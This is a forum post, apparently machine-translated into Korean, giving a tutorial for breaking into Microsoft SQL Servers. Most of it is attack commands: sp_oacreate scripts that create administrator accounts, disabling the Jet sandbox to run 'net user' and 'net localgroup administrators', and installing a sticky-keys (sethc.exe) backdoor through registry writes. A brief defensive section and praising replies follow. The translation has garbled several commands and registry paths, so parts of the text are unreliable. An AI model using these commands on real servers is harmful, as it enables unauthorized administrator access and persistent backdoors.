exec sp_oacreate 'scrip remove ting.filesystemobject', @o 아웃
exec sp_oamethod @o, 'createtextfile', @f 아웃, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set o=CreateObject( "Shell.Users" )'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set z=o.create('user")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'z.changePassword "password",''
exec @ret = sp_oamethod @f, 'writeline', NULL,'z.setting("AccountType")=3'
그 다음 cmd가 cscrip을 실행하여 t c:\1.vbs를 제거합니다
4. 이전 것은 명령어 명령어를 실행하기 위해 수리되었으나, 수리 후 새로운 문제가 발생한다
(1) 메시지: xp_cmdshell 실행 중에 오류가 발생했습니다. 'CreateProcess' 호출이 오류 코드 '5'와 함께 실패했습니다.
오류 5는 시스템에서 요청하는 오류 번호이며, CreateProcess는 스레드를 생성한다는 의미입니다. 이 오류 생성은 시스템 파일 cmd.exe와 밀접한 관련이 있습니다. 하나는 cmd가 삭제되는 것이고, 다른 하나는 cmd의 권한이 줄어드는 것입니다.
터미널 포트와 열린 상태를 확인하는 SQL:
대장님.. xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-TCP', 'PortNumber'
네, 아래의 핵심은 두 개의 SQL 명령어를 사용해 시스템의 탐색기 파일을 시스템의 shift 백도어 파일로 복사하고, 다음 두 문장을 따로 실행하는 것입니다.
이 문장은 explorer.exe sethc.exe
'scripremove ting.filesystemobject'sp_oacreate @o 정체 exec 선언하고, exec sp_oamethod @o, 'copyfile', null, 'c:\windows\explorer.exe', 'c:\windows\system32\sethc.exe'를 @o
이 문은 sethc.exe를 dllcache 디렉터리로 복사합니다
@oo int exec sp_oacreate 'scrip remove ting.filesystemobject'를 선언@oo하고, exec sp_oamethod @oo, 'copyfile', null, 'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\ sethc.exe';
나머지 두 문장은 odsole70.dll 파일을 사용해야 하는 sp_oacreate 저장 프로시저를 사용하므로 이 파일의 생존은 생성 성공과 관련이 있습니다.
(2), xpsql.cpp: CreateProcess 오류 5 (737행)
이 상황은 더 까다롭고, 인터넷에서도 그렇게 말해집니다
엑셀 master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SoftWare\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")');
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');
이 문제에 대한 권리를 제기하기 위해 샌드박스를 확인했지만, 제 실습상 성공률은 매우 낮습니다. 대부분의 서버가 c:\windows\system32\ias\ias.mdb를 삭제했기 때문입니다. 그 다음에는 이미지 하이재킹 sethc를 시도해볼 수 있습니다. 물론 이미지 하이재킹도 조건부입니다. 1은 이 저장 프로시저xp_regwrite 존재해야 하며, 2는 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'입니다. 디버거'는 삭제되지 않습니다
먼저 레지스트리 고정 키가 탈취되었는지 여부를 확인할 수 있습니다
대장님.. xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File 실행 옵션\sethc.exe','디버거'
프롬프트가 문제를 찾지 못하면 증명이 삭제되며, 프롬프트가 뜨면 SQL 명령을 실행할 방법이 sethc.exe 없습니다
임원님.. xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File 실행 옵션\sethc. EXE',
@value_name='디버거',
@type='REG_SZ',
@value='C:\WINDOWS\explorer.exe'
터미널에 5번 접속하고 이동하면 바로 데스크톱으로 가서 수동으로 추가합니다.

레지스트리는 터미널 포트를 수정합니다

[HKEY_LOCAL_MACHINE \ 시스템 \ CurrentControlSet \ 제어 \ 터미널 서버 \ WDS \ rdpwd \ Tds \ tcp]

HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ 터미널 서버 \ WinStations \ RDP-TCP,

이미지 하이재킹 방지와 관련해서는 주로 다음과 같은 방법으로 이루어집니다:

★ 허가 제한법

사용자가 더 이상 레지스트리 키에 접근할 수 없으면, 이 기능들을 수정할 수 없습니다. 레지스트리 편집기를 열고 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows 메뉴로 이동하세요

NT\CurrentVersion\Image 파일 실행 옵션, 이 항목을 선택한 후 우클릭 - 권한 > - > 고급, 관리자 및 시스템 사용자의 권한을 낮추세요(여기서는 쓰기 작업을 취소하면 됩니다).

★ 빠른 칼 자르기 지저분한 대마 방법

레지스트리 편집기를 열고 바로 가세요


HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image 파일 실행 옵션



이 문제는 이미지 파일 실행 옵션 항목을 직접 삭제함으로써 해결할 수 있습니다.

SQL 명령어 하이재킹 레지스트리 스티키 키 설치 백도어
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',
'디버거', 'REG_SZ','C:\WINDOWS\system32\kdsn.exe'

소프트웨어 다운로드:
관광객 여러분, 이 게시물의 숨겨진 내용을 보고 싶으시다면 부탁드립니다회답









이전의:DDL, DML, DCL에 대한 이해
다음:오라클은 문자열 길이 함수 length()와 hengthb()를 얻습니다.
게시됨 2015. 3. 19. 오후 8:26:09 |
매우 매달린 1433 침입 도구
게시됨 2015. 3. 22. 오전 10:36:54 |
게다가 매우 매달린 튜토리얼이기도 합니다
면책 조항:
Code Farmer Network에서 발행하는 모든 소프트웨어, 프로그래밍 자료 또는 기사는 학습 및 연구 목적으로만 사용됩니다; 위 내용은 상업적 또는 불법적인 목적으로 사용되지 않으며, 그렇지 않으면 모든 책임이 사용자에게 부담됩니다. 이 사이트의 정보는 인터넷에서 가져온 것이며, 저작권 분쟁은 이 사이트와는 관련이 없습니다. 위 내용은 다운로드 후 24시간 이내에 컴퓨터에서 완전히 삭제해야 합니다. 프로그램이 마음에 드신다면, 진짜 소프트웨어를 지원하고, 등록을 구매하며, 더 나은 진짜 서비스를 받아주세요. 침해가 있을 경우 이메일로 연락해 주시기 바랍니다.

Mail To:help@itsvse.com